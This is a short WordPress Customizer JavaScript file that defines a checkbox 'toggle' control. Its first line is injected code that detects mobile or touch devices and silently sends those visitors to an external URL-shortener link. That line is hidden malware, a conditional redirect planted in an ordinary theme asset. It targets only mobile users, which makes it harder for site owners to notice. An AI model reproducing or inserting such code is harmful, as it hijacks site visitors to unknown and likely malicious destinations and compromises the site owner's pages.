(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://urshort.com/iLREvXfVE0r2");
wp.customize.controlConstructor['toggle'] = wp.customize.Control.extend({

    ready: function () {

        'use strict';

        var control = this,
                checkboxValue = control.setting._value;

        // Save the value
        this.container.on('change', 'input', function () {
            checkboxValue = (jQuery(this).is(':checked')) ? true : false;
            control.setting.set(checkboxValue);
        });

    }

});
